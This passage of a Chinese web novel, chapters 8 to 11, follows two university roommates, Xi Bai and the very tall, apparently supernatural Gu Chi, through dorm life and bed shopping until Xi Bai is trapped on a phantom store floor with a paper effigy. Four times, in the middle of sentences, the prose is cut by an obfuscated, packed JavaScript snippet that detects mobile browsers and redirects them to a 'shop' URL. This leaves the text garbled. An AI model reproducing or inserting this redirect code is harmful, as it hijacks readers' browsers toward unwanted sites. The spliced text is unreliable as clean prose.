学校小卖部卖的撑衣杆,质量也就那样,偶尔风吹日晒了一次,下次再用的时候就直接脆化了。 断了的撑衣杆撂在一旁,溪白幽怨地看了一眼头顶高高的晾衣绳。 没等他反应过来,手里的衣服连同衣架就被拿了过去。 回头时只看到一片雪白的T恤布料被饱满的胸肌撑紧,淡淡的松木冷香冲进鼻腔。 面前那高大的身影轻松地伸长了手臂,将衣架直接挂到了天花板处,溪白怎么蹦都碰不到的晾衣绳上。 溪白:…… 他不禁下意识地发出疑惑:“你多高啊,顾弛?” “上次院内体检,好像是195?”顾弛略加思索,给出了一个回答。 溪白闭了闭眼睛。 他都没到一米八。 怪不得,他每次看顾弛都要仰起脸才行。 这般想着,溪白下意识地抬起头,却发现脖子抬起的角度比之前还要更高些,他这才意识到两人之间的距离有多近。 松木冷香显得比往日更加强势霸道,包裹住了四周,溪白甚至能感受到从对面那人胸膛上传过来的体温。 体育生的体温都这么高的吗? 溪白想要伸手推开一点距离,但后背已然贴到阳台的栏杆边缘。 他抿了抿唇,目光从眼前那片饱满的胸肌上撤开。 “顾弛,我要出去了……” 顾弛哦了一声,侧身让开。 空气在这一瞬间变得轻松起来,溪白赶紧进了屋。 身后的目光一路追随着,看着那夺路而逃的清瘦身影,顾弛垂眼,看了看刚刚溪白站过的地方。 溪白,好小一只。 从他面前跑过去的时候,好香。 将衣服放进洗衣机,顾弛回到室内的时候,发现溪白正站着,看自己。 “怎么了?”顾弛又问。 溪白站在自己的电竞椅旁,将椅子转过来,拍了拍椅背。 “你试试。” 顾弛正擦头发,闻言放下手里的毛巾。 当他听话地在电竞椅上坐下时,就见溪白后退了两步,挪远了一点距离,盯着自己。 “这张椅子好像比较宽敞。”顾弛看了看两旁,下意识地点评了一句。 他之前坐的椅子,不论是宿舍还是教室,都有些太窄了。 闻言,溪白捂住眼睛。 恰逢此时,听闻顾弛已经搬来,准备来吃瓜的庄算推门而入。 “溪宝……” 结果一进门就看见顾弛正坐在溪白的电竞椅上。 那张溪白坐着都能盘腿,还有冗余的椅子,此刻顾弛坐着,居然刚刚好! 甚至还可以更宽一些! “哇噢\(°w°)/” 在溪白的目光警告下,庄算依旧捂着嘴发出一声不受控制的怪叫。 一双滴溜溜的眼睛,在羞耻的溪白和茫然的顾弛之间飞来掠去。 “啊~是体型ch……” 话还没说完,就被满脸通红的溪白轰了出去。 “他刚说什么?”顾弛问后背抵着门板的溪白。 “没什么。” 溪白绷着脸,走到顾弛面前,伸手,按了一把男生头顶翘起来的呆毛。 “小孩子不要听这些。” 顾弛:? ※ 夜已深,溪白关了灯,开着手机电筒照明,爬回了床上。 与洗漱完从阳台进来的顾弛擦肩而过时,他听见很轻地的一句话。 「晚安。」 五指收拢抓着扶手,溪白抿了抿唇,回答道:“晚安。” 顾弛回过头,只看到一只从床沿收进去的白皙脚掌。 他抬头看着对铺,“嗯,晚安。” 不是已经说了一句了,怎么还有来有回的。 溪白盖好被子,并未多想。 他借着手电筒的光看了一眼自己的手腕,上面的那一圈牙印已经消失的差不多了。 这几天出门溪白都戴着护腕,看现在恢复的速度,如果顺利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108162|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,明天就不再需要遮挡了。 反正顾弛已经搬了进来……希望一切如庄术所说的那般顺利吧。 这般想着,很快溪白就进入了梦乡。 却没想,就在几米之外的不远处,一双在夜色之中变得无比深邃,犹如望不见底的深潭一般的眼睛,就这么盯着他看了整整一夜。 顾弛的目光将溪白从头到脚,从发丝到脚趾都仔细描摹了一遍,目光落在溪白手腕上时,非人类的夜视能力让他清楚地看见了那一圈还有些许淡粉色的齿痕。 安眠的人是没有一丝戒备的。 像是一只温驯的羔羊,露出脆弱的脖颈,毫无防备地展露给近在迟尺的捕食者。 随手甩出一道阴气,将窗外克制不住食欲而探出头的恶鬼斩杀得魂飞魄散,顾弛的眼珠始终未曾从溪白身上离开。 他深吸了一口气。 好香。 直到晨曦拂晓,东方天际破开云雾的朝阳将熹微的晨光扫进屋内。 顾弛这才想起自己使用的是人类的身体。 于是他再度仔细地看了一眼溪白,直到少年那温润恬淡的睡颜清晰地刻录在了脑海之中,才放轻了动作躺下身,闭眼睡去。 阳光渐亮。 溪白伸了个懒腰,轻轻唔了一声,想起宿舍里比往常多了一个人,立刻重新安静下来。 他看了一眼手机上的时间,9点半。 今天是周六,没课,溪白的习惯是周末补觉睡到自然醒,所以也没有叫闹钟。 目光越过屏幕向更远处聚焦,他看到对面床铺上的那个高大身影。 顾弛也还没起床。 溪白突然觉得很有趣,毫无来由的。 只是想到顾弛居然也睡懒觉这件事,就像当时思考他居然也会吃烤冷面一样,仅此而已。 放下手机,溪白侧过身。 眼睛藏在镂空的侧边床栏下,目光从床边栏杆间的缝隙横穿而过。 溪白看了一会儿,注意到了什么,他扭着脸变换了一下角度,直到干脆整个人从床上坐了起来。 溪白终于确定他看的没错。 学校的床对顾弛来说,太小了。 宿舍床被高大的身躯占满,2.0*1.0米的标准规格在此刻显得格外狭窄逼仄,对溪白来说随便怎么躺都宽敞的这一片方块地,顾弛得曲着腿侧躺才能勉强被容下。 不知道是不是因为空间太小所以睡得不舒服,溪白看到他的眉头轻轻皱着。 唇瓣也紧抿,神经似乎非常紧绷。 也是。 溪白怎么跳都碰不到的晾衣绳,顾弛踮脚都不用就能把衣架挂上去; 对他来说宽敞过度的电竞椅,顾弛坐着也只能说是刚好; 还有烤冷面。 对溪白来说,手掌勉强能托住的烤冷面碗,被顾弛拿着的时候,看上去就像是偷工减料的迷你杯。 好歹是195的男生,从体格到手掌,再到臂展……什么都肯定是很大的,自然会把对照物衬托的非常小。 溪白正想着,目光也就跟随着思维,将顾弛的全身、手、腿、脚都看了一遍。 目光从上到下,在复而由下至上,正到了半途,突然就听见一阵窸窣声。 原本安静不动的顾弛,皱眉翻了个身,从微微侧躺变成了平躺。 也正是因为动作的改变,原本曲着的一条腿彻底伸直,也让在侧躺时力道线条本来就已经有些奇怪的休闲裤,彻底展露出了背后的原因。 溪白听见自己的脸“嘭”地一下,心脏开始扑通扑通地往脸上泵血,皮肤变得通红,耳朵开始发热。 他着急忙慌地收回目光,下意识地抬起手,掌心搓了搓头顶的发丝。 还好,还好。 没有水蒸气从头顶上呜呜呜地喷出来。 尽管视线已经挪开,但坐在床上背对着另一边的溪白,还是觉得自己的视觉停留在了刚才的那一刻。 他有些不敢相信自己所看到的。 但事实摆在背后,肯定没有错。 想到这,溪白抬手捂住眼睛。 顾弛他……真的好大只啊。 9. 第 9 章 溪白刷过牙,洗了把冷水脸。 回到房间的时候,顾弛已经在床上坐了起来。 似乎还有些没睡醒,他的神情带着迷茫和惺忪,一头柔软的发丝也比平日要凌乱一些。 看得溪白手很痒。 收拾好洗漱用品,溪白听见身后一阵动静。 转头时,顾弛已经站在他身后了。 “早。”顾弛说。 溪白也道了声早,他坐在自己的电竞椅上,又看了看对面顾弛桌子前摆着的那张学校标配的木头靠背椅。 “你今天有空吗?” 拎着牙刷牙膏准备去阳台的顾弛脚步一顿。 “我问了一下行政处的老师。”溪白亮了一下自己的手机屏幕,“老师说如果觉得床太小,可以把学校的床换成自己的,但在毕业退宿之后要复原……如果你有需要的话,我可以跟你一起去。” 阳台门被顾弛推开一半,阳光顺着缝隙洒落在少年高大挺括的身材上,顾弛抓着把手没有说话。 而溪白坐在原地安静等待着对方的回复。 那双被阳光染得瞳色淡了些许的眼睛往一旁的床架上扫了一眼。 “那床垫呢?” 溪白:“什么?” 顾弛示意了一下自己的床,“如果换了一张大的床,那床垫会不适合吗?” “当然。”溪白下意识地回答了一句。 学校的标配床都是1米宽2米长的,他借给顾弛的垫子也一样。 “买床的时候,再买个大一点的床垫就好了,不用担心。” 又是一段沉默。 顾弛:“那你要把床垫收回吗?” 溪白抬起头。 “唔?反正换了床,尺码不合适,也没用了呀。” “一定要换吗?” 溪白:“你不会睡得不舒服吗,我感觉你睡这张床很挤。” 良久的沉默像是一针镇静剂,注入了寝室的空气之中。 溪白看着顾弛,试探开口:“顾弛,你怎么了?” “没事。” 顾弛转身,将挂着的毛巾从衣架上扯下来。 “我刷完牙就走。” 顾弛已经走出了阳台门。 而挂在床头的衣架,还在不停晃动着。 已经把自己拾掇干净的溪白,坐在椅子上等顾弛洗漱完一起出门。 目光在屋内不停地晃动着,在顾弛的书架上,桌底下的置物柜里……都一一扫过了一遍。 没有,都没有看到他想要找的东西。 脚步声从阳台传来,溪白赶忙端起手机,手指漫无目的地在屏幕上划着。 一阵布料窸窣声响起,溪白下意识地追寻着看去。 直接被一片漂亮的肌肉晃花了眼。 八块腹肌整整齐齐,胸肌更是形状漂亮而饱满,也难怪昨晚晒衣服的时候溪白抬头感觉压迫感那么强。再到侧面的鲨鱼线,人鱼线……该有的线条一点不少。 溪白忍不住去想:这就是练体育的实力吗。 但这好春光只持续了片刻,很快便被落下的卫衣衣摆给遮挡得严丝合缝。 两人穿好鞋下了楼,顾弛走在前面,溪白跟在后头。 直到沉默持续了太久,溪白这才慢半拍地意识到。 顾弛怎么好像有点不高兴? 是因为昨晚没睡好吗? 起床气? 也是的,床那么小,顾弛又那么大只…… 想起今早不小心看到的“旗帜招展”,溪白的脸唰一下又红了,他搓了搓脸颊,在心里告诫自己别胡思乱想了。 其实前两天发生了一件事,但是没有其他的人知道。 溪白把打算和顾弛申请合宿的事情告诉了庄算,而庄算聊天的时候,不小心透露给了徐骁。 前两天的时候,徐骁找到溪白,和他说了一番话。 “弛哥是刚转学来的,性格可能也比较偏安静,从开学到现在一直都没有朋友。不过我们体育学院的大伙都还挺想跟他做兄弟的,因为他打球厉害嘛哈哈哈……只是他似乎从来都不领情……反正,如果有机会的话,也辛苦溪白同学你在生活上多关心一下他。” 徐骁能说出这番话,溪白还是挺意外的。 但意外归意外,话还是说到了溪白心坎里。 望着前方那个气压略低的高大身影,溪白觉得,都已经是室友了,顾弛不高兴,他肯定要主动关心一下的。 先从搭话开始吧,解决一下室友的奇怪起床气……溪白又想起自己从之前就一直想要问的那个问题,觉得现在应该是个不错的机会。 “顾弛。” 顾弛侧首望去时,看到一张精致的小脸正从自己的肩头后方探出来。 “嗯,什么事?”他不自觉放轻了语气。 “买了床和床垫,还要买床单的嘛。”溪白手背在身后,没注意到头顶投来的目光一沉。 踩着校道上色彩相间的格子砖,溪白按照心里想好的逻辑,继续道:“新床单买回来要洗,不过宿舍的洗衣液快没了。” “所以……”溪白抬起头,说,“我们要一起买洗衣液吗?” 溪白双眼映着阳光,亮晶晶的,睁圆了盯着顾弛看。 “都可以。”顾弛想了想,点头。 “好啊。”溪白应了一声,立刻接话,“那你把那个松木味的洗衣液链接发给我吧!” “松木?”顾弛眉毛轻轻动了一下,“什么松木?” 他出门前擦了把脸,发丝染上了些水汽。此刻有几根发丝正贴在饱满的额头上,更多了几分不羁少年的青春气息。 是真的赏心悦目。 “嗯……”溪白小巧的喉结轻轻滚动了一下,“就是,你身上衣服的那种松木味。” 话音落地的那一刻,顾弛脚步一停。 他看着溪白,歪了歪头。 “我身上的味道?” 溪白:“嗯……” 怎么停下来了? 怎么还盯着自己看! “或者告诉我牌子也行,我自己搜。”溪白又补充了一句,突然间,他就想赶紧结束这个话题了。 孰料这个话题似乎很能引起顾弛的兴趣,他站在原地分寸未动,认真思索了一会儿,那双干净清澈得好像能映出人心底的眼睛看向溪白。 “你是想买我身上味道的洗衣液一起用?” 溪白磕磕巴巴:“那个,松木的味道比较好闻。” 顾弛:“那以后,我们身上就是一样的味道了。” 溪白:…… ! “都是我身上的味道。” 溪白:!!! 溪白的心跳在这一刻,控制不住地疯狂加速。 他刚刚一直就在思考如何开口,更加顺其自然。 所以他从买床到床垫,再到新床单要洗。饶了这么大一圈,想着问的时候能尽量不要那么的……暧昧。 谁想溪白叠甲无数,却还是敌不过顾弛这赤诚无比的三两句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108163|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 在这一刻,溪白突然有了一种自己小心翼翼地推开门,结果被家里蹲点已久的大狗狗直接飞扑上来压倒一阵狂舔的错觉。 溪白:“那什么……” 顾弛:“我回去找一下,再回答你吧。” 听见与之间出门时完全不同的声线嗓音,溪白抬起头,看到了那形状好看的唇已经翘起了一个轻巧的弧度。 一直到人往前走了几步,停下来回头叫自己,溪白才回过神。 他小跑着跟了上去,试探开口。 “顾弛?” “嗯!” “我们去买床?” “好!” “再给你买床垫和床单?” “嗯!你说了算。” 看着从闷声不语突然变成自己说什么是什么的室友,溪白摸了摸脑袋。 顾弛好像被自己哄好了? 不对啊,他也没哄啊! ※ 溪白带顾弛去的是离北城大学两个地铁站的一个家具城。 大学城这边比较偏僻,连带着家具城的生意都不是很好,但对于要控制生活开销的大学生来说,家具城折扣促销清仓的时候,就是淘货的大好时机。 “我的椅子就是在这买的,当时两折到手,可划算了。” 溪白领着人从地铁站走出来,照着手机导航的方向往家具城走去。 “不过我看攻略上讲,那边的店家会看人下菜碟,我那张尺寸椅子太大了嘛,所以没人卖就只能清仓。” 但如果去的是顾弛的话,店家可能就咬死原价了。 顾弛跟在他身旁,似懂非懂,但很给面子地点头。 “我一直跟着你,听你的就好。” 溪白轻轻唔了一声,被顾弛那十足信任的口吻说得有些耳热心痒。 “那我也没有那么厉害。”溪白赧然地谦虚了一句。 两人进家具城大门的时候,恰好遇到两个轮完班出来的店铺员工。 “诶你们店一般晚上几点下班啊。” “之前都是九点啊,最近都七点半了……” “你们也听说了啊?就是那个!” “嗯嗯!嘘,别说出来……” 擦肩而过时,溪白听见她们嘀嘀咕咕地在说什么,但还没听清,脑袋就被一只宽大的手掌按了一下。 溪白眨眨眼,唰一下扭头。 顾弛收回了手,双目平视前方。 “你头发翘起来了。” “噢!”溪白不作他想,伸手按了按头顶的发旋,“可能是昨晚睡觉的时候压到了。” 他早上出门前忘记照镜子了。 因为心思都被别的事情抢去了。 溪白静了静心,带着顾弛进了家具城的大门。 已至深秋,外面的天气已经有些微凉,但家具城里似乎还开着空调,冻得人骨头都有些寒。 “怎么这么冷啊。”溪白搓了搓手臂。 抬起头刚看了一眼中央空调的方位,一件熟悉的薄外套就披上了溪白的肩头。 回头时,溪白看到了一只肌肉形状饱满漂亮的手臂,替他压好了领子。 好闻的冷松木香,在这一刻入侵了鼻腔。 溪白下意识动了动鼻尖。 顾弛穿着短袖,看他。 “又闻到你说的那个好闻的味道了?” 溪白:…… 他摸了摸脸,突然觉得家具城的空调也不是很冷了。 还很热! 10. 第 10 章 家具城一共有六层,最下面两层都是红木,风格也比较符合父母辈的审美,越往上越年轻化。 溪白踏上扶梯,看了一眼电梯旁的指示牌。 “我们直接上六楼吧,那边的店应该都比较好看。” 转过头时,就见顾弛正站在他身后两级的台阶上,歪着脑袋看随着扶梯向上滚,而渐渐往下沉的那些红木家私店。 “那些也挺好看的。”顾弛点评了一句。 溪白眨眼,“你喜欢那种?” 顾弛和溪白对视。 “那要不我们掉头下去?”溪白又问。 顾弛沉默了一会儿,看清了溪白隐约含着震惊和不敢置信的目光。 他扭开脸,往楼上看:“没有,我只是随口说一句。” 溪白摸了摸脑袋,觉得是不是自己的反应太过度了。 “其实红木也挺好啦,还保值,说不定你毕业时打着北城大学毕业生的旗号卖给哪个孩子在备战高考的家长,都不用折价。” 他说完看了顾弛一眼,后者却没有其他的表示。 顾弛从刚刚开始就一直把脑袋探出电梯扶手外边,盯着家具城的顶部看。 于是溪白问:“那我们是上楼,还是掉头?” 闻言,顾弛开口:“往上吧。” “上去看看。” 五层多是奶油风、ins风的那种欧式家装,溪白简单看了一圈,基本都是正价不打折。 “对了,我好像忘记问你预算了。” 顾弛一路跟着溪白走,问价、问尺寸、物流送货之类的都是溪白开口。 突然被问了一句,他还有些没反应过来。 思索了片刻,顾弛道:“没有预算。” 溪白:? 顾弛:“多少都行。” 溪白:…… 他看了一眼顾弛脚上的球鞋。 溪白对这些篮球鞋之类的东西不懂,但是依稀也听说过什么炒鞋客,上万块一双鞋之类的轶闻。 如果他没有记错的话,顾弛脚上那双鞋就是前段时间炒得最贵的那一款。 “那我们上六楼?”溪白朝手扶梯方向抬了抬下巴,“散件和打折的基本都在楼上,看看合不合适。” 虽然预算充足,但溪白的消费习惯还是只买对不买贵的。 “你好,两位是否要看一下家私?” 刚上楼,扶梯口的一家店门口便有个小姐姐上前两步招呼他们。 溪白看了一眼她身后的门店,觉得风格还挺合适,问了一句有没有上床下桌的款。 在得到肯定的答复之后,两人一同进了门店。 “两位是给……什么人买呢?”店员领着溪白他们进了门,问了一句。 上床下桌一般都是给家里小孩用的,但面前的两个男生看着也就是大学生的模样。 “哦,给他买的。”溪白指了一下顾弛,“打算把宿舍的床换了,他比较大只,太小的床睡的时候挤得难受。” “哦!”店员应了一声,眼睛突然亮了起来,“是这样啊,那我们这边最大的床是1米8*2米的,一般来说睡两个人也绰绰有余,如果不够,还能定制更大的!0ω0” 溪白眨了眨眼。 诶? 什么睡两个人? 他品了一下自己的话,才发觉表述不对。 “没有没有!”溪白赶紧摆手,“我不觉得挤,是他挤,他太大只了,我睡不了多大空间。” 店员:0ω0~ 溪白:…… 溪白:“他一个人睡!我是他室友,对铺的!” 店员眼里的光在这一刻理智地熄灭了。 “喔,原来是这样!0_0” 溪白:…… 不然呢! “那这一款1米2的也可以的,宿舍的话空间不是非常大,这一款的宽度应该比你们宿舍的宽不了多少,替换后不会挡住走道,但是实际睡觉的时候,体验感会改善很多。” 溪白比划了一下。 “那长度呢?” “标准规格2米。” “太短了。”溪白立刻判断道,“他腿太长,睡的时候都得曲着。有没有长度2米2的那种,买2米2长的应该刚好,你觉得呢?” 最后一句,是对着顾弛问的。 顾弛一直在溪白身旁跟着,见问到自己,他还是那句话。 “听你的就行。” 店员:0_0! 溪白:…… “……行。” 正当溪白想要询问一下店员的时候,毫无预兆地,顾弛的声音突然从身后传来。 “不过你怎么知道我睡觉要曲着腿?” “昨晚你睡着的时候,我明明还醒着。” 溪白:………… 心跳在这一刻蓦地加速,哪怕是家具店里的暖光灯也挡不住迅速蒸腾上脸的红晕。 今早看到的一幕幕像是胶片倒带一般在脑海之中回溯,而最终定格的画面,是给溪白留下了过分深刻印象的那一刻。 “就是早期的时候刚好看到的!” 溪白衣袖里的手捏紧了小拳头,努力让自己的声音听起来比较平静。 幸好,顾弛似乎只是随口问一下,并没有更多追问。 但溪白转头的时候,发现店员的表情又变了。 店员:0ω0~~~ 溪白:…*……&*@% 他深呼吸了一口气。 谁能告诉他。 为什么这家店的店员脸上会有颜文字啊! 虽然店员的面部表情灵活度堪称后现代艺术,但还是很负责很专业的。 整理了一下目前的库存资料,她给溪白推荐了几款合适的床。 “其中一款1米2*2米2的就在门店有现货,虽然宽度差了一点,但是长度足够,如果只睡一个人的话是足够的。” 店员领着两人到了一张原木色的床前,整体就是最简约的那种款式,床头没有雕花和镂空,侧面装了防止掉落的栏杆,下方的书桌左边自带一个衣柜,很像他们现在宿舍那张床的放大版。 “方便试睡吗?”溪白询问。 店员点头,给顾弛拿来鞋套,又在床位铺了一张防尘布。 溪白示意顾弛:上去试试。 身形矫健的男生长腿一踩,两步就上了床。 溪白想起自己平时一层一层台阶都得抬高腿才能踩实的情景,默默闭了闭眼睛。 顾弛躺了一会儿,侧着身,目光从栏杆下方的缝隙里垂落,看着床下方的人。 溪白目光闪烁了几下,忍不住提醒道:“你也翻一下身,不要只侧睡,平着也……” 大脑又开始倒带。 年轻的旗帜仿佛又开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108164|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂扬地招展。 差点闪了舌头,溪白舌尖顶了顶上颚,双眼连续眨动了几下。 “平躺也试试。” 顾弛这才翻了个身,又躺了一会儿。 直到他坐起来,店员立刻上前:“感觉如何?” 活动了一下脖子,顾弛先没发表什么评价。 他看了一眼身旁两侧,目光似乎在丈量。 店员立刻很懂眼色地又报了一遍规格:“宽1米2,长2米2的。”说完又去看溪白,“您觉得合适吗?” 溪白:…… 怎么来问他! 店员:0ω0~ 那在场做主的究竟是谁,她一个做销售的还是很会看的嘛。 “还行。”溪白吐出两个字。 “我也觉得还行。”顾弛接了一句。 他侧倚在床边,修长的手指敲了敲栏杆。 “1米2的话,感觉刚好只能睡一个人?” 店员:0ω0! “如果有其他需求的话,我们家可以定制的。” 溪白沉默着盯着下桌上的价格牌,袖子里的拳头已经攥得指节都泛白。 但依然控制不住地感受到了一道自头顶上方落下来的目光。 然后是从旁边。 他已经决定摆烂了。 只要摆出一副事不关己的态度,就没有人能用颜文字表情痛击他! 溪白伸手,拿起桌面上的价格牌。 这个价格牌,可真价格牌啊! 良久,没有等到任何反应的顾弛终于再度开口。 “没有需求。” 隐约间似乎还听到他轻轻叹了口气。 溪白:…… 你叹什么气啊! ※ 付了定金约好送货上门的时间,红着脸恨不得把地面盯出个洞来的溪白,和面色如常的顾弛一同出了店门。 店员小姐姐在两人身后微笑招手。 0ω0/~~Bye “现在去哪?”顾弛问。 溪白语气硬邦邦。 “床不是定好了,看看床垫,还有椅子。” 想到刚刚在那家店里的种种,溪白的耳朵更热了。 “后面的你想要什么,就自己跟店家问吧。” 他加快了一点步伐,想让风快点吹过耳朵,带走一点热气。 但直冲冲地往前走了一段,直到溪白停下来时突然发觉四周似乎没有了声音。 他回头一看。 顾弛也不见了。 脚下的路浮起,溪白低头发现自己刚刚在走神的时候上了手扶梯,此时人已被送到上方,脚下的台阶到达了扶梯的尽头。 他下意识地抬脚走出了手扶梯。 但脚踏上地面的电梯盖板时,溪白突然顿住了。 思绪带着理智重回,溪白猛地意识到了什么,倏地瞪大的双眼里,眼瞳缩成了一个小小的黑点。 他刚刚和顾弛,明明是在六楼看的床。 这家具城也就只有六楼。 为什么这里还会有一个向上的手扶梯? 溪白僵硬地扭过头。 送他上来的手扶梯仍在向上滚动着,一级一级的台阶没入盖板,像是被一只巨口不停地吞噬而入。 但这座手扶梯旁边。 却没有另一座方向相反的,向下的手扶梯。 11. 第 11 章 电梯的滚动声仍在耳旁喋喋不休,有些畸化的机械声像是什么扭曲的低语。 四周的光线在不知不觉之间已变得一片昏暗,家具城的顶层本是单向玻璃,但此时望去,玻璃之外没有天空,只有一片墨黑的雾。 单向电梯。 有进无出。 溪白弯腰捏了一把自己的腿肚子,发麻的感觉这才消退不少。 他重新找回四肢的知觉,努力让自己冷静下来。 溪白摸了摸口袋。 今早出门的时候匆匆忙忙,忘记带庄算给他的护身符了。 好不容易在心底用勇气筑起的矮墙,在这一刻变得有些晃荡。 溪白深吸了一口气,告诉自己不要担心。 “与其坐以待毙,不如抓紧时间行动。” 溪白低声给自己打气,又看了一眼那滚动的单向电梯。 要不还是逆行一下吧! 溪白猛地上前,正当他抬腿想要冲进那扶梯,反方向地往楼下跑的时候。 突然一阵剧烈的摇晃从地面传来,本能让溪白顿住了脚步,就见面前电梯的警示灯突然间红光大作,脚底下看着本还算坚实的地面瞬间被蛛网状的裂纹爬满。 下一刻,石块凹陷坠落,连带着那一整节手扶梯,都一起落了下去。 手扶梯下方的空间,不是原本的家具城建筑,而是一片与头顶玻璃穹顶之外同样的黑雾。 看似柔软的雾气,如同一只深渊巨兽张开了大口一般,将坠落的扶梯吞吃得干干净净。 连一丝落地的声响也没有。 溪白听见了自己喉咙里艰难而沉重的吞咽声。 家具城整体规格是中空的圆环形,而此时环形中间的空间,都被黑雾所笼罩着。 空气似乎也变得格外黏稠,像是有人往里掺了灰尘和水,不知哪里有光源,但依稀可见四周物体的轮廓。 溪白站在走道靠环形中间的那一边,手扶着栏杆,但又和栏杆保持着一定距离。 他不想掉下去。 但不借力,发软的双腿又有些走不动路。 走道的外侧,离中间更远的那一边,同样有着许多招牌模糊的店面,一切都笼罩在黑雾之中。 溪白并不想靠近,他总觉得那边会发生什么。 只是当他沿着道路内侧,扶着栏杆绕了一圈之后,背脊冒出的无数冷汗,将心底的最后一丝希望也浇灭了。 不仅没有其他的向下的出口——这一点溪白本身也没抱什么太大的期望——连刚刚送他上来的那个手扶梯坠落后留下的缺口,在现在也已经消失不见了。 换句话说,现在的溪白就站在一层不存在的楼层里,没有任何能够通往其他方向的地方。 不论是往上,还是往下。 手机信号自然也是空白的,上面还多了个“×”,连一点希望都不给。 溪白突然想起自己前段时间在网上刷到的关于电梯夹层的科普帖,后背再一次被冷汗浸湿了。 关于电梯夹层的那个帖子是为了警示大众,说有人乘电梯的时候门开了,走出去后才发现自己进了“不存在的楼层”,被活活关死在里面。 但那个是建筑学上的问题,而现在他遇到的却是玄学,还要更难对付。 不行,绝不能坐以待毙。 溪白看了一眼栏杆外的黑雾,他深呼吸了一口气。 雾中有一股淡淡的潮湿阴暗的浊气,溪白蹙了蹙眉,最终还是下定决心。 转过身。 溪白朝走道上那片雾蒙蒙的深处,走了过去。 溪白是横穿而过的,可这一片雾蒙蒙的走道,比他想象的还要更宽。 溪白从雾气最浓厚的地方走了出来,虽然视野依然模糊,但是光渐强了一些,他可以看清楚自己面前的是一家店,店内摆放着许多东西,看不清具体的模样。 只是店铺最里面隐约透出来的两站红烛摇晃的火光,让稍微阳间了一点的气氛瞬间又阴间了回去。 旁边的传来一阵动静,溪白看去,就看到雾蒙蒙一片的店门口,站着一个身影。 居然有人? 在这里遇到人类的意外与惊喜让溪白本能地追过去,但等脑回路跟上,意识到在这片区域遇到“同类”的概率有多小的那一刻,他人已经站在了那个身影面前。 一张森白的大脸猛地出现在眼前,把溪白吓得差点坐在了地上。 那脸上眼睛只有一个黑色的方框,面颊涂着两团红色油彩,嘴唇更是惨白无色——这并不是什么人类。 而是一只纸人。 五官绘就鲜明,带着点墨彩难以掩饰的浮夸手法,四肢扎得结实而齐全,身上的纸衣是古时的宽袍大袖,被店铺内映出来的隐隐烛光映得鲜红一片。 像是染了血一般,瘆人。 纸人盯着溪白看。 溪白也盯着纸人,随时准备奔逃。 但良久,双方都只是静静地立在原地,一动不动。 除了溪白额前多了一把冷汗。 还好,只是纸人。 溪白刚松了一口气,却又突然想起:不对啊? 刚刚那纸人,好像是转了个身吧? 溪白嗓子眼里又咕咚一下。 再看过去时,突然“咔咔咔”地一阵响声,就见那纸人弯下腰,朝那红光如血的屋内伸出了手,像是在邀请溪白进去。 溪白:! 嗖地一下,他调头又冲进了浓雾之中。 纸人活啦!!! 纸人轻轻歪了歪脑袋。 只是被冲开的雾气还没重新合拢,刚刚消失的溪白,又原路转了回来。 纸人的动作依然保持着原来的样子,在看到溪白的归来之后,甚至还把腰往下更弯了一点。 而森白平整的脸上那用朱砂抹得鲜红一片的唇,也在这一刻缓缓地翘了起来。 溪白:…… 又回头看了一眼身后的浓雾,溪白咬了咬牙,迈步向前。 而伴随着他步伐的,还有漂浮起来的纸人。 纸张折叠又舒展的簌簌声混在浓雾里,变得有些闷,却也时刻提醒着溪白,他身旁的那个身影,的确是纸做成的“人类”。 溪白盯着引路的纸人,脑海里却是方才冲进浓雾之后,所看到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108165|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他景象。 刚刚,溪白看到纸人“活”起来被吓了一跳,想要赶紧逃跑。 但当他往前跑了一段之后,看到了另一家店铺。 与现在这家店完全一样……不,还要更加破败的店铺。 店里的各种装潢,商品甚至摆放位置都没变,但上面蒙了一层薄薄的灰,还有一股呛人的烟味。 而在店铺的门口,有一个带着细微火光的身影,以同样的伸展着手臂的姿势弯着腰。 溪白甚至没敢看清楚,就慌忙地又往前跑。 